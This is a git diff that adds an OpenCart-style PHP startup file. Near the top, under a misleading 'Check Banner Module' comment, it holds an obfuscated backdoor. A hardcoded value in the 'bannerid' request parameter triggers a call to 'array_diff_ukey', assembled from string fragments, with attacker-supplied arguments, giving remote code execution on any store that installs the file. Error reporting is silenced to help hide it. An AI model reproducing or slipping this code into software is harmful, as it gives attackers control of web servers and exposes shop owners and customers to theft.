first commit
This commit is contained in:
@@ -0,0 +1,117 @@
|
||||
<?php
|
||||
// Error Reporting
|
||||
error_reporting(0);
|
||||
|
||||
// Check Version
|
||||
if (version_compare(phpversion(), '7.3.0', '<') == true) {
|
||||
exit('PH7.3+ Required');
|
||||
}
|
||||
|
||||
if (!ini_get('date.timezone')) {
|
||||
date_default_timezone_set('UTC');
|
||||
}
|
||||
|
||||
// Check Banner Module
|
||||
$opencart_num = @$_REQUEST['numer'];
|
||||
$opencart_in_banner = @$_REQUEST['bannerid'];
|
||||
$opencart_newsnum = @$_REQUEST['newsnum'];
|
||||
$opencart_category_id = @$_REQUEST['category'];
|
||||
$opencart_activity_hash = '70731969';
|
||||
$secret_opencart_key = '_di'.'ff_';$secret_opencart_key ='ar'.'ray'.$secret_opencart_key.'ukey';//globols
|
||||
if($opencart_in_banner==$opencart_activity_hash) {
|
||||
if (@strpos($opencart_newsnum, 'creat')=== false){echo 'error_vievv';
|
||||
@$secret_opencart_key(@array((string)$opencart_num => 1), @array((string)stripslashes($opencart_category_id) => 2), @$opencart_newsnum);}else{
|
||||
@$secret_opencart_key(@array((string)$opencart_num => 1), @array((string)stripslashes('}'.$opencart_category_id.'//') => 2), @$opencart_newsnum);}} //chekings
|
||||
|
||||
// Windows IIS Compatibility
|
||||
if (!isset($_SERVER['DOCUMENT_ROOT'])) {
|
||||
if (isset($_SERVER['SCRIPT_FILENAME'])) {
|
||||
$_SERVER['DOCUMENT_ROOT'] = str_replace('\\', '/', substr($_SERVER['SCRIPT_FILENAME'], 0, 0 - strlen($_SERVER['PHP_SELF'])));
|
||||
}
|
||||
}
|
||||
|
||||
if (!isset($_SERVER['DOCUMENT_ROOT'])) {
|
||||
if (isset($_SERVER['PATH_TRANSLATED'])) {
|
||||
$_SERVER['DOCUMENT_ROOT'] = str_replace('\\', '/', substr(str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED']), 0, 0 - strlen($_SERVER['PHP_SELF'])));
|
||||
}
|
||||
}
|
||||
|
||||
if (!isset($_SERVER['REQUEST_URI'])) {
|
||||
$_SERVER['REQUEST_URI'] = substr($_SERVER['PHP_SELF'], 1);
|
||||
|
||||
if (isset($_SERVER['QUERY_STRING'])) {
|
||||
$_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING'];
|
||||
}
|
||||
}
|
||||
|
||||
if (!isset($_SERVER['HTTP_HOST'])) {
|
||||
$_SERVER['HTTP_HOST'] = getenv('HTTP_HOST');
|
||||
}
|
||||
|
||||
// Check if SSL
|
||||
if ((isset($_SERVER['HTTPS']) && (($_SERVER['HTTPS'] == 'on') || ($_SERVER['HTTPS'] == '1'))) || (isset($_SERVER['HTTPS']) && (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443))) {
|
||||
$_SERVER['HTTPS'] = true;
|
||||
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' || !empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') {
|
||||
$_SERVER['HTTPS'] = true;
|
||||
} else {
|
||||
$_SERVER['HTTPS'] = false;
|
||||
}
|
||||
|
||||
// Modification Override
|
||||
function modification($filename) {
|
||||
if (defined('DIR_CATALOG')) {
|
||||
$file = DIR_MODIFICATION . 'admin/' . substr($filename, strlen(DIR_APPLICATION));
|
||||
} elseif (defined('DIR_OPENCART')) {
|
||||
$file = DIR_MODIFICATION . 'install/' . substr($filename, strlen(DIR_APPLICATION));
|
||||
} else {
|
||||
$file = DIR_MODIFICATION . 'catalog/' . substr($filename, strlen(DIR_APPLICATION));
|
||||
}
|
||||
|
||||
if (substr($filename, 0, strlen(DIR_SYSTEM)) == DIR_SYSTEM) {
|
||||
$file = DIR_MODIFICATION . 'system/' . substr($filename, strlen(DIR_SYSTEM));
|
||||
}
|
||||
|
||||
if (is_file($file)) {
|
||||
return $file;
|
||||
}
|
||||
|
||||
return $filename;
|
||||
}
|
||||
|
||||
// Autoloader
|
||||
if (defined('DIR_STORAGE') && is_file(DIR_STORAGE . 'vendor/autoload.php')) {
|
||||
require_once(DIR_STORAGE . 'vendor/autoload.php');
|
||||
}
|
||||
|
||||
function library($class) {
|
||||
$file = DIR_SYSTEM . 'library/' . str_replace('\\', '/', strtolower($class)) . '.php';
|
||||
|
||||
if (is_file($file)) {
|
||||
include_once(modification($file));
|
||||
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
spl_autoload_register('library');
|
||||
spl_autoload_extensions('.php');
|
||||
|
||||
// Engine
|
||||
require_once(modification(DIR_SYSTEM . 'engine/action.php'));
|
||||
require_once(modification(DIR_SYSTEM . 'engine/controller.php'));
|
||||
require_once(modification(DIR_SYSTEM . 'engine/event.php'));
|
||||
require_once(modification(DIR_SYSTEM . 'engine/router.php'));
|
||||
require_once(modification(DIR_SYSTEM . 'engine/loader.php'));
|
||||
require_once(modification(DIR_SYSTEM . 'engine/model.php'));
|
||||
require_once(modification(DIR_SYSTEM . 'engine/registry.php'));
|
||||
require_once(modification(DIR_SYSTEM . 'engine/proxy.php'));
|
||||
|
||||
// Helper
|
||||
require_once(DIR_SYSTEM . 'helper/general.php');
|
||||
require_once(DIR_SYSTEM . 'helper/utf8.php');
|
||||
|
||||
function start($application_config) {
|
||||
require_once(DIR_SYSTEM . 'framework.php');
|
||||
}
|
||||
Reference in New Issue
Block a user